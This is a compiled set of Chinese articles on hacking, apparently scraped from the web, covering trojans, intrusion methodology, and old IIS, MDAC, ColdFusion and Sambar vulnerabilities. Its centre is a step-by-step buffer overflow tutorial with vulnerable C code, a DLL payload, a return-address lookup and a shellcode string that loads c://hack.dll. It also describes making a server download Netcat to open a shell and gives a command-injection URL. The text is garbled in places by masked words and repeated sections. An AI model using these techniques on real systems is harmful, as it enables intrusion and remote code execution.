"黑客"如何使用木马程序?

在黑客的领域中，有一句针对入侵者的名言是这么讲的：”一次入侵的成功，绝非是因为你的技术高明，而是你的运气较佳”。是的，无论你对黑客了解多少，在你所向往的传奇黑客故事背后，必然有着令人难以想像的艰辛和毅力。对于一个现成的系统漏洞，足以让一位高明的入侵者完全摧毁欲攻击的目标；相对于一些爱用木马的 *** 入侵者而言，也正显现出入侵者在其水平与功力上极大差异。

如何会有木马？

关于木马程序的起源可追溯到二十年前的美国中情局，或者你也可以不要看太远，在1995年商业上所使用的一种服务器端与客户端的连线工具就是标准的木马程序。当初木马软件的使用是基于相当良好的 *** 管理概念，而受到高级入侵者对外发表与使用的时间点延伸到1998年8月，此时它才真正足以配合Windows内置的强大工具，更改登录文件或系统文件，发撅出完美的“躲藏”功能而成为名正言顺的Back Door（后门）。

据悉，在亚洲地区，木马软件的原始码程序在1999年初的中国大陆黑客组织的团队中，遭到”鹰派”方面人士的重新编写，尔后不到短短的二年，出现不下百匹来自中国大陆的“原创”木马，包含目前中国本土顶级的”冰河”木马，由原先的草稿式1.0，2.0，2.02等版本持续不断经过改写，一直升级到4.02才真正成为一个强大的木马软件。

当前的木马的程序几乎都是使用VC 或C 来编写，只有少数几个使用VB编写，配合微软在Windows内部内置许多秘密的工具，借以“面向对象”的理念，可以使用简单的继承直接来使用，有了微软的Windows XP内置的强大功能，相信对于要编写一支让人恻目的木马程序已经不再是一件苦差事，我们，正拭目以待这XP将会为 *** 带来的危险性。。

*** 入侵者才使用这种软件？

在近几年的入侵事件中我们可以发现一个共同的特点：凡是对于电脑愈不了解、水平越低的入侵者，愈喜欢使用木马软件。我们为什么要称使用木马软件的入侵者为 *** ？非常可笑的一点是，当你的电脑安装木马程序的同时，你已经成为之一代被植入木马的受害者，而当你上网的同时，提供这些程序的人可以在数秒之内入侵到你的电脑，并且将你电脑的密码文件一次抓走……这简直是一种讽刺！

当前的木马愈来愈恐怖，遭到植入的电脑不光只是受害者本人，先进的木马经过转移后，会衍生出第二代，第三代，持续的向下延伸，植入每一台安装木马软件的电脑。而这些专门研发木马软件的高级入侵者，可以将所有安装过木马的电脑当成是一个个活的跳板，你的电脑将遭到隐密的改造，系统文件内将会潜伏着不为人知的秘密，这些人假手你的电脑可以轻松的使用“嫁接”后的IP，由你的电脑主动发出攻击的指令，如果入侵者的软硬件各方面条件具备，将有可能一次可以发动数万台的电脑对某一个甚至数个机构发动总攻击－－信息战的时代即将来临，我们正在面临前所谓未见的 *** 大战，只要你的电脑安装了木马，你就可能成为被利用者，一位无名的士兵，一支被利用的枪。然而，这正是这一群爱用木马的 *** 自找的，不能怨社会。请木马爱好者牢记：黑他人之前，自己必将先被黑。这是一种 *** 的相对论。

杀马，无用的观点？

很多人遭到木马入侵后，会寻找系统内相关被更改的地方进行查杀。其实木马是杀不完的，每日在全球诞生的木马有几百种，一支木马只要稍微改一下程序，就会变成一支新的木马.

事实上，木马并没有想像的那么可怕，要防范木马的 *** 也很简单。万变不离其宗，木马启动都有一个方式，它只是在一个特定的情况下启动。所以，只要不开启来路不明的文件、信件，不到不安全的网站，平时多注意一下你的端口，查看一下正在运行的程序，用此来监测大部分木马应该没问题的。

就算中了木马也不要太紧张，当前除了少数先进的木马具有配合植入电脑的时钟来自我运行外，多数的木马本身还没有攻击性，暂时还不用过于担心。

总之，在 *** 上木马程序还称不上是一种可怕的敌人，溢位的漏洞才是真正可怕的问题。

黑客攻击主要有哪些手段？

黑客主要运用手段和攻击 ***

2004-12-02 来源: 责编: 滴滴 作者:

编者按：

不可否认, *** 已经溶入到了我们的日常工作和生活中。因此，在我们使用电脑时就得时时考虑被 *** 攻击的防范工作。俗语说“知己知彼，百战不贻”，要想尽量的免遭黑客的攻击，当然就得对它的主要手段和攻击 *** 作一些了解。闲话少说，咱这就入正题！

戴尔笔记本本周限时优惠 免费咨询800-858-2336

来源：黑客基地

不可否认, *** 已经溶入到了我们的日常工作和生活中。因此，在我们使用电脑时就得时时考虑被 *** 攻击的防范工作。俗语说“知己知彼，百战不贻”，要想尽量的免遭黑客的攻击，当然就得对它的主要手段和攻击 *** 作一些了解。闲话少说，咱这就入正题！

（一）黑客常用手段

1、 *** 扫描--在Internet上进行广泛搜索，以找出特定计算机或软件中的弱点。

2、 *** 嗅探程序--偷偷查看通过Internet的数据包，以捕获口令或全部内容。通过安装侦听器程序来监视 *** 数据流，从而获取连接 *** 系统时用户键入的用户名和口令。

3、拒绝服务 -通过反复向某个Web站点的设备发送过多的信息请求，黑客可以有效地堵塞该站点上的系统，导致无法完成应有的 *** 服务项目(例如电子邮件系统或联机功能)，称为“拒绝服务”问题。

4、欺骗用户--伪造电子邮件地址或Web页地址，从用户处骗得口令、信用卡号码等。欺骗是用来骗取目标系统，使之认为信息是来自或发向其所相信的人的过程。欺骗可在IP层及之上发生（地址解析欺骗、IP源地址欺骗、电子邮件欺骗等）。当一台主机的IP地址假定为有效，并为Tcp和Udp服务所相信。利用IP地址的源路由，一个攻击者的主机可以被伪装成一个被信任的主机或客户。

5、特洛伊木马--一种用户察觉不到的程序，其中含有可利用一些软件中已知弱点的指令。

6、后门--为防原来的进入点被探测到，留几个隐藏的路径以方便再次进入。

7、恶意小程序--微型程序，修改硬盘上的文件，发送虚假电子邮件或窃取口令。

8、竞争拨号程序--能自动拨成千上万个 *** 号码以寻找进入调制解调器连接的路径。逻辑炸弹计算机程序中的一条指令，能触发恶意操作。

9、缓冲器溢出-- 向计算机内存缓冲器发送过多的数据，以摧毁计算机控制系统或获得计算机控制权。

10、口令破译--用软件猜出口令。通常的做法是通过监视通信信道上的口令数据包，破解口令的加密形式。

11、社交工程--与公司雇员谈话，套出有价值的信息。

12、垃圾桶潜水--仔细检查公司的垃圾，以发现能帮助进入公司计算机的信息。

（二）黑客攻击的 *** ：

1、隐藏黑客的位置

典型的黑客会使用如下技术隐藏他们真实的IP地址:

利用被侵入的主机作为跳板;

在安装Windows 的计算机内利用Wingate 软件作为跳板;利用配置不当的Proxy作为跳板。

更老练的黑客会使用 *** 转接技术隐蔽自己。他们常用的手法有:利用800 号 *** 的私人转接服务联接ISP, 然后再盗用他人的账号上网;通过 *** 联接一台主机,再经由主机进入Internet。

使用这种在 *** *** 上的"三级跳"方式进入Internet 特别难于跟踪。理论上,黑客可能来自世界任何一个角落。如果黑客使用800号拨号上网,他更不用担心上网费用。

2、 *** 探测和资料收集

黑客利用以下的手段得知位于内部网和外部网的主机名。

使用nslookup 程序的ls命令;

通过访问公司主页找到其他主机;

阅读FTP服务器上的文挡;

联接至mailserver 并发送 expn请求;

Finger 外部主机上的用户名。

在寻找漏洞之前,黑客会试图搜集足够的信息以勾勒出整个 *** 的布局。利用上述操作得到的信息,黑客很容易列出所有的主机,并猜测它们之间的关系。

3、找出被信任的主机

黑客总是寻找那些被信任的主机。这些主机可能是管理员使用的机器,或是一台被认为是很安全的服务器。

一步,他会检查所有运行nfsd或mountd的主机的NFS输出。往往这些主机的一些关键目录(如/usr/bin、/etc和/home)可以被那台被信任的主机mount。

Finger daemon 也可以被用来寻找被信任的主机和用户,因为用户经常从某台特定的主机上登录。

黑客还会检查其他方式的信任关系。比如,他可以利用CGI 的漏洞,读取/etc/hosts.allow 文件等等。

分析完上述的各种检查结果,就可以大致了解主机间的信任关系。下一步, 就是探测这些被信任的主机哪些存在漏洞,可以被远程侵入。

4、找出有漏洞的 *** 成员

当黑客得到公司内外部主机的清单后,他就可以用一些Linux 扫描器程序寻找这些主机的漏洞。黑客一般寻找 *** 速度很快的Linux 主机运行这些扫描程序。

所有这些扫描程序都会进行下列检查:

TCP 端口扫描;

RPC 服务列表;

NFS 输出列表;

共享(如samba、netbiox)列表;

缺省账号检查;

Sendmail、IMAP、POP3、RPC status 和RPC mountd 有缺陷版本检测。

进行完这些扫描,黑客对哪些主机有机可乘已胸有成竹了。

如果路由器兼容SNMP协议,有经验的黑客还会采用攻击性的SNMP 扫描程序进行尝试, 或者使用"蛮力式"程序去猜测这些设备的公共和私有community strings。

5、利用漏洞

现在,黑客找到了所有被信任的外部主机,也已经找到了外部主机所有可能存在的漏洞。下一步就该开始动手入侵主机了。

黑客会选择一台被信任的外部主机进行尝试。一旦成功侵入,黑客将从这里出发,设法进入公司内部的 *** 。但这种 *** 是否成功要看公司内部主机和外部主机间的过滤策略了。攻击外部主机时,黑客一般是运行某个程序,利用外部主机上运行的有漏洞的daemon窃取控制权。有漏洞的daemon包括Sendmail、IMAP、POP3各个漏洞的版本,以及RPC服务中诸如statd、mountd、pcnfsd等。有时,那些攻击程序必须在与被攻击主机相同的平台上进行编译。

6、获得控制权

黑客利用daemon的漏洞进入系统后会做两件事:清除记录和留下后门。

他会安装一些后门程序,以便以后可以不被察觉地再次进入系统。大多数后门程序是预先编译好的,只需要想办法修改时间和权限就可以使用,甚至于新文件的大小都和原有文件一样。黑客一般会使用rcp 传递这些文件,以便不留下FTP记录。

一旦确认自己是安全的,黑客就开始侵袭公司的整个内部网

7．窃取 *** 资源和特权

黑客找到攻击目标后,会继续下一步的攻击,步骤如下:

（1）下载敏感信息

如果黑客的目的是从某机构内部的FTP或WWW服务器上下载敏感信息,他可以利用已经被侵入的某台外部主机轻而易举地得到这些资料。

（2）攻击其他被信任的主机和 ***

大多数的黑客仅仅为了探测内部网上的主机并取得控制权,只有那些"雄心勃勃"的黑客,为了控制整个 *** 才会安装特洛伊木马和后门程序,并清除记录。 那些希望从关键服务器上下载数据的黑客,常常不会满足于以一种方式进入关键服务器。他们会费尽心机找出被关键服务器信任的主机,安排好几条备用通道。

（3）安装sniffers

在内部网上,黑客要想迅速获得大量的账号(包括用户名和密码),最为有效的手段是使用"sniffer" 程序。

黑客会使用上面各节提到的 *** ,获得系统的控制权并留下再次侵入的后门,以保证sniffer能够执行。

（4）瘫痪 ***

如果黑客已经侵入了运行数据库、 *** 操作系统等关键应用程序的服务器,使 *** 瘫痪一段时间是轻而易举的事。

如果黑客已经进入了公司的内部网,他可以利用许多路由器的弱点重新启动、甚至关闭路由器。如果他们能够找到最关键的几个路由器的漏洞,则可以使公司的 *** 彻底瘫痪一段时间

什么是黑客程序？

所谓黑客程序，是指一种无传染性的系统安全屏蔽程序。它被植入计算机系统，一旦黑客程序感染了计算机，便与黑客里应外合，使黑客攻击变得十分容易。

现在的黑客程序很可怕，就好像在你的计算机上隐藏了一套摄录装置。它可能窃取你的存折和信用卡的账号密码，偷看你的日记、情书，有时候，它甚至能够在你的计算机上留下暗门，随后供黑客出入，把你的计算机完全地控制起来。

设想一下，如果黑客通过一台计算机和一条 *** 线进入国家重要的政治、经济、军事、金融、保险 *** 系统，并进行控制或破坏，社会会怎么样？

黑客软件就是这样的一种工具，它可以使得那些略懂一些软件的人成为黑客，因为，一切都是现成的了，只需要学一学怎么用就可以了。借助黑客软件，十几岁的孩子都能成为黑客，就像操作自己的计算机一样轻而易举，通过互联网进入并远程控制被黑客程序“感染”过的计算机，这实在是一件很可怕的事情。

因此，专家认为，黑客软件不是病毒，但危害性要比病毒严重得多。

有一个黑客群体发布了一个人侵Windows机器的程序“后门”。它可以让用户经由因特网进入并控制远程Windows计算机。实际上，现在 *** 上到处都有这样的自由软件下载，这简直和到处都是枪支店一样危险。

所有运行在Windows95/98操作平台之上、使用支持TCP/IP通讯协议进行联网的计算机系统，都有可能遭受黑客程序“后门”的攻击。实际上这几乎包括了几乎所有的 *** 用户，可以把通过 *** 线拨号上网钓用户一网打尽。

专家告诉我们，目前已发现黑客程序的种类很多。黑客程序只要进行一次欺骗性的运行就可以完成自动安装，而且永远起作用，其破坏无规律可循，无法预见。

黑客程序的传播途径也五花八门，例如电子邮件的附件、共享软件程序、聊天软件、盗版光盘上不明用途的软件、电子贺卡寄送的可执行的“礼物”程序。这就告诉我们，随便安装程序是一件很危险的事情，尤其是重要部门的计算机系统。

黑客程序有哪些危害？

所谓黑客程序，是指一种无传染性的系统安全屏蔽程序。它被植入计算机系统，一旦黑客程序感染了计算机，便与黑客里应外合，使黑客攻击变得十分容易。

现在的黑客程序很可怕，就好像在你的计算机上隐藏了一套摄录装置。它可能窃取你的存折和信用卡的账号密码，偷看你的日记、情书，有时候，它甚至能够在你的计算机上留下暗门，随后供黑客出入，把你的计算机完全地控制起来。

设想一下，如果黑客通过一台计算机和一条 *** 线进入国家重要的政治、经济、军事、金融、保险 *** 系统，并进行控制或破坏，社会会怎么样?

黑客软件就是这样的一种工具，它可以使得那些略懂一些软件的人成为黑客，因为，一切都是现成的了，只需要学一学怎么用就可以了。借助黑客软件，十几岁的孩子都能成为黑客，就像操作自己的计算机一样轻而易举，通过互联网进入并远程控制被黑客程序“感染”过的计算机，这实在是一件很可怕的事情。

因此，专家认为，黑客软件不是病毒，但危害性要比病毒严重得多。

有一个黑客群体发布了一个人侵Windows机器的程序“后门”。它可以让用户经由因特网进入并控制远程Windows计算机。实际上，现在 *** 上到处都有这样的自由软件下载，这简直和到处都是枪支店一样危险。

所有运行在Windows95／98操作平台之上、使用支持TCP／IP通讯协议进行联网的计算机系统，都有可能遭受黑客程序“后门”的攻击。实际上这几乎包括了几乎所有的 *** 用户，可以把通过 *** 线拨号上网钓用户一网打尽。

专家告诉我们，目前已发现黑客程序的种类很多。黑客程序只要进行一次欺骗性的运行就可以完成自动安装，而且永远起作用，其破坏无规律可循，无法预见。

黑客程序的传播途径也五花八门，例如电子邮件的附件、共享软件程序、聊天软件、盗版光盘上不明用途的软件、电子贺卡寄送的可执行的“礼物”程序。这就告诉我们，随便安装程序是一件很危险的事情，尤其是重要部门的计算机系统。

如何利用缓冲区溢出的程序错误来运行黑客程序

上回说了，我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数，当然，也可以执行程序中其他的指令。还是以上次讲过的程序为例：

程序A：

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005，然后将断点设在函数foo中strcpy的后面，断点执行到了以后，进入反汇编窗口，单步执行到该函数最后一行汇编指令，也就是ret指令，在内存窗口中查看寄存器esp保存的内存地址所存放的值，当然你的内存窗口的显示方式应该是4字节显示方式（x86或者说是32位机器上）。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了，然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说，内存中的形式是这样的：

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令：非常标准的函数退出时，所作的栈销毁操作：

mov esp ebp

pop ebp

ret

在ret指令执行完成以后，esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code（或者说是我们刻意编写的汇编代码），然后将函数返回地址更改为调用我们的shell code的地址，那么我们所编写的shell code也就会被执行，这时就可以干任何我们想干的事情了，;)。

下面是步骤：

1，编写一个dll，其实exe程序也可以，只不过 *** 略有不同，如果你是直接执行exe程序的话，可以使用WinExec。这里因为我要导入我编写的dll进入程序A，所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数，指明要加载的dll的文件路径。

2. 在我编写的dll中，处理的事情很简单，就是启动一个程序，呵呵，下面是源代码：

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候，触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary，我们需要写一些汇编指令，因为cpu执行的是机器码，而不是汇编指令，所以你要将汇编指令转换为机器码。转换很简单，在你的代码里面加上下面这几行：

int main()

{

_a *** {

jmp esp

}

}

将断点设置在main函数的开始处，执行程序，程序中断后，去反汇编，你会看到类似下面的代码：

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址，FF E4就是jmp esp对应的机器码了。呵呵，如果没有FF E4出现的话，在反汇编窗口中右键单击，选择“Show Byte Code”（VS 2005英文版）。

现在腰调用esp中的地址，可以是jmp esp也可以是call esp，但是这个代码必须是进程中已有的，OK，我们在程序中找到这个地址。再次运行程序A，在main函数中设置断点，中断后，选择Debug -- Window -- Module查看这个程序所有加载的dll（无论是动态的还是静态加载的）。程序A中不出意外的话应该有kernel32.dll和ntdll.dll，还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码，怎么找？怎么把一个dll反汇编？呵呵，VS 2005里面自己就带了一个反汇编工具：dumpbin，路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disa *** 就是将任何一个PE文件（DLL或EXE）反汇编

打开cmd窗口，执行dumpbin /disa *** c:/windows/system32/kernel32.dll | findstr /c:"FF E4"，哦哦，没有。再试ntdll.dll，还是没有。试一下call esp，它的机器吗是FF E5。kernel32.dll里面没有，啊哈，ntdll.dll里面有，这是搜索结果：

7C914393: FF E5 call esp

4.编写shell code，调用LoadLibrary，需要知道LoadLibrary函数的地址，获取的办法是这样的：LoadLibrary是在kernel32.dll中的，启动Depends.exe，Depends.exe包含在Windows SDK中，你也可以去网上搜一下，下载一个回来用，实在找不到，那我就牺牲一下自己啦。

随便用depends打开一个exe文件，在左上角的依赖树里面点击kernel32.dll，在右边第二个窗口中找到LoadLibraryA这个函数，可以看到它的Entry Point是0x000445EF，如下：

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样，值可能不一样，在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000，如下：

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是：0x77E445EF。

5。最后编写汇编代码执行你的黑客程序：

_a *** {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA，程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环，确保被黑的程序不会死掉

L4: call L2

}

6。最后，示例程序如下：

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址

"/xEB/x04" // call L4

"/xFF/xD0" // L2: call eax

"/xEB/xFE" // L3: jmp L3

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2

"c://hack.dll/0"); // LoadLibraryA的参数，也就是我们要刻意加载的dll文件

return 0;

}

完了，累死了

黑客如何利用信件或网页包含的程序代码来运行被黑电脑的某个程序或打开各种系统服务，并实施破坏？

让你点击一些 *** 或Web程序，利用服务端和客户端之间的协议作为保障，获得客户机的权限（可能是更高权限）。通过更高权限调用系统接口伪装正常程序进行破坏。

对服务器的攻击，有很多形式，比如注入数据库，负载量过大造成崩溃。让程序卸掉外壳，产生碎片。收集碎片和异常日志进行分析，编写程序，冒充正常的远程调用。

总之，无论是一般的客户机还是网站服务器，都是以获得权限为基础的。

*** 黑客是怎么操作的

Web服务器将成为下一代黑客施展妖术的对象。在很大程度上，进行这种攻击只需一个Web浏览器和一个创造性的头脑。以前，黑客的攻击对象集中在操作系统和 *** 协议上，但随着这些攻击目标的弱点和漏洞逐渐得到修补，要进行这类攻击已经变得非常困难。操作系统正在变得更加稳健，对攻击的抵抗能力日益提高。随着身份验证和加密功能渐渐被内置到 *** 协议中， *** 协议也变得更加安全。此外，防火墙也越来越智能，成为 *** 和系统的外部保护屏障。

另一方面，电子商务技术正在日益普及开来，其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是，人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢？

有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火墙允许所有的Web通信都可以进出 *** ，而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是，Web服务器和基于Web的应用程序有时是在“功能之一，安全其次”的思想指导下开发出来的。

当您的Web服务器面临巨大威胁时，怎样保障它们的安全呢？这就需要您不断了解新信息，新情况，每天跟踪您所用服务器的有关网站，阅读相关新闻并向它进行咨询。为了让你着手这方面的工作，下面介绍黑客对NT系统的四种常用攻击手段，同时介绍如何防止这类攻击。

Microsoft IIS i *** .dll缓冲区溢出

受影响的服务器：运行IIS 4.0并带有“Service Pack 3/4/5”的Windows NT服务器

Microsoft IIS缓冲区溢出这一安全弱点是Web服务器无时不有的重大缺陷之一。该弱点被称为IIS

eEye，这个名称来自发现此问题的一个小组。在实施缓冲区溢出攻击时，黑客向目标程序或服务输入超出程序处理能力的数据，导致程序突然终止。另外，还可以通过设置，在执行中的程序终止运行前，用输入的内容来覆盖此程序的某些部分，这样就可以在服务器的安全权限环境下执行任意黑客命令。

eEye发现，IIS用来解释HTR文件的解释程序是i *** .dll，它对缓冲区溢出攻击的抵抗力十分脆弱。如果攻击者将一个以.htr结尾的超长文件名（大约3,000个字符，或更多）传递给IIS，那么输入值将在i *** .dll中造成输入缓冲区溢出，并导致IIS崩溃。如果攻击者输入的不是一串字母而是可执行代码（通常称为“鸡蛋”或“外壳代码”），那么在IIS终止之前将执行该代码。由eEye小组发现的这一攻击 *** 包括三个步骤：

1．创建一个用于侦听任意TCP端口上连接活动的程序。一旦接收到连接信号，该程序将执行一个Windows命令外壳程序(cmd.exe)，并将该外壳与连接绑定在一起。这个程序是经过修改的Netcat。Netcat是一个流行的 *** 连接实用程序，其源代码可以免费获得。

2．在IIS的i *** .dll中制造缓冲区溢出，并使IIS从外部Web站点下载侦听程序（由步骤1产生）。

3．执行刚下载的程序（由步骤2产生），该程序将等待传入的连接并使攻击者进入Windows命令外壳程序中。

由于缓冲区溢出导致IIS在崩溃之前转而运行Windows命令外壳，所以该外壳程序将在IIS的安全权限背景下运行，而该安全权限背景等价于NT

Administrator权限。这样，攻击者要做的只是与被攻击的IIS服务器的侦听端口建立连接，然后等着出现c:提示就万事大吉了。现在，攻击者拥有对整个NT服务器的管理权限，可以做任何事，比如，添加新用户、修改服务器的内容、格式化驱动器，甚至将该服务器用作攻击其它系统的踏脚石。

运行IIS 4.0并带有“Service Pack 3/4/5”的Windows

NT服务器容易受到此类攻击。Microsoft已经发布了对该弱点的修补程序。Windows NT Service Pack

6也已经修补了该问题。

Microsoft IIS MDAC RDS安全弱点

受影响的服务器：运行IIS 4.0并安装了MDAC 2.1或更早版本的Windows NT服务器

在发现IIS eEye安全弱点的大约一个月后，IIS

4.0的另一个弱点又暴露出来。使用Microsoft数据访问组件(MDAC)和远程数据服务(RDS)，攻击者可以建立非法的ODBC连接，并获得对Web服务器上的内部文件的访问权。如果安装了Microsoft

Jet OLE DB提供程序或Datashape提供程序，攻击者可以使用Visual Basic for Applications

shell()函数发出能够在服务器上执行的命令。

在安装了MDAC 2.1或更高版本的IIS 4.0上，从位于其公共目录中的msadcmsadcs.dll，可以找到MDAC

RDS弱点。Rain Forest

Puppy在其站点中对该弱点进行了详细说明。该弱点利用了IIS上MDAC默认安装时的不适当配置和安全机制的缺乏这一漏洞。在等价于NT

Administrator的IIS Web服务器进程的安全权限背景下，进行这种攻击的黑客可以在NT系统上远程执行任意命令。

MDAC的弱点不是由于技术造成的，而是由于用户对它的配置方式所致。很多站点是通过NT Option Pack 4.0安装IIS

4.0的。如果NT Option Pack

4.0是以典型或默认配置安装的，那么MDAC就容易遭到这种攻击。大多数使用默认安装的系统管理员都没有具体调整过这些设置，从而使Web服务器的安全性大大降低。

Foundstone公司的George Kurtz、Purdue大学的Nitesh

Dhanjani和我曾经共同设计了一个只有一行的命令字符串，该命令将利用MDAC

RDS弱点，使远程NT系统启动一个通过FTP或TFTP进行的文件传输过程。这个命令将告诉服务器到从某个外部系统下载并执行Netcat。Netcat将运行Windows命令外壳程序，并建立一个返回攻击者计算机的连接，这样，攻击者就获得了对远程NT系统的完全管理控制权。

Microsoft已经发布了相应的安全公告，并对使IIS 4.0免受该弱点攻击的保护措施进行了说明。

Allaire ColdFusion 4.0弱点

受影响的服务器：运行在Windows NT上的Allaire ColdFusion Server 4.0

作为还算容易使用的、功能强大的脚本语言，ColdFusion已经广泛流行起来。但流行并不意味着安全。ColdFusion的问题不在于该服务器自身，而是在于它附带的脚本。ColdFusion

4.0提供了示范应用程序和范例，它们可以在位于Web服务器根目录中的cfdocsexampleapp和cfdocsexpeval目录中找到。当用户执行典型安装时，将安装这些应用程序和脚本。ColdFusion所附带的部分范例经过修改后，将允许非法访问服务器上所包含的敏感数据。这些弱点表明，基本的应用程序服务器可以被编写得不好的应用程序脚本歪曲利用。

存在这种弱点的一个范例应用程序是cfdocsexampleappdocssourcewindow.cfm。因为ColdFusion是作为具有Administrator权限的系统服务运行的，所以，该程序可以被用来任意访问和查看NT

Web服务器上的任何文件，包括boot.ini。用这种 *** 可以检索任何文件。Packet Storm对该弱点做了完整解释。

而更严重的弱点存在于cfdocsexpevalopenfile.cfm、cfdocsexpevaldisplayopenedfile.cfm和cfdocsexpevalexprcalc.cfm中。这三个文件可以用来查看服务器上的任何文件，更为严重的是，它们还能将任意文件上载到服务器。对该弱点如何发作的讨论超出了本文的范围，欲了解详细信息请访问L0pht

Heavy

Industries的咨询信息。表达式求值程序exprcalc.cfm用于让开发人员计算被上载文件中的ColdFusion表达式的值。作为预防手段，该脚本在进行表达式计算时便会把被上载的文件删除掉，但要避免删除却是件容易的事。这样，攻击者可以上载恶意文件，并最终控制服务器。

这些就是ColdFusion的示范脚本中最严重的弱点。要防止出现问题，请从任何运行中的服务器中删除ColdFusion示范脚本。Allaire的Security

Zone提供了补丁程序，并提供了如何保护ColdFusion服务器的进一步信息。

Sambar 4.3 hello.bat

受影响的服务器：运行在Windows NT上的Sambar 4.3 beta 7和更早版本

Sambar是提供给开发者的免费Web服务器。它提供了对CGI和WinCGI脚本、ODBC脚本以及ISAPI的支持。它甚至捆绑了Perl

5解释器。

Sambar 4.3 beta

7版和更早版本附带两个名为hello.bat和echo.bat的文件，它们是将Windows批处理文件用作CGI脚本的范例。这两个脚本本身没有问题，hello.bat显示字符串“Hello

World”，而echo.bat显示字符串“Place

Holder”。但当批处理文件被用作CGI脚本时，Web服务器将使用Windows命令外壳程序cmd.exe来运行它们。这样，攻击者可以利用该弱点针对目标服务器运行任意命令。例如，假如攻击者把URL

http://target.site/cgi-bin/hello.bat?dir+c:放在他或她的浏览器中，那么，将在服务器上运行命令“dir

c:”，并在浏览器上显示结果。由于Sambar是在NT

Administrator安全权限下运行的，因此事情会变得更为复杂。这样的权限等级可以让攻击者作为NT Administrator运行任意命令。

Windows命令外壳使用“”在相同命令行上分隔多个命令。如果用户将“”放在hello.bat的后面，并在其后添加一个命令，那么将在执行hello.bat后执行第二个命令。

由于已经删除了文件hello.bat和echo.bat，Sambar 4.3 beta

8版和更高版本没有该弱点。但是，由于Windows命令外壳程序解析命令行的方式无法改变，所以并没有办法能真正修正该问题。如果您安装了4.3

beta 7版或更低版本，请一定要删除hello.bat和echo.bat。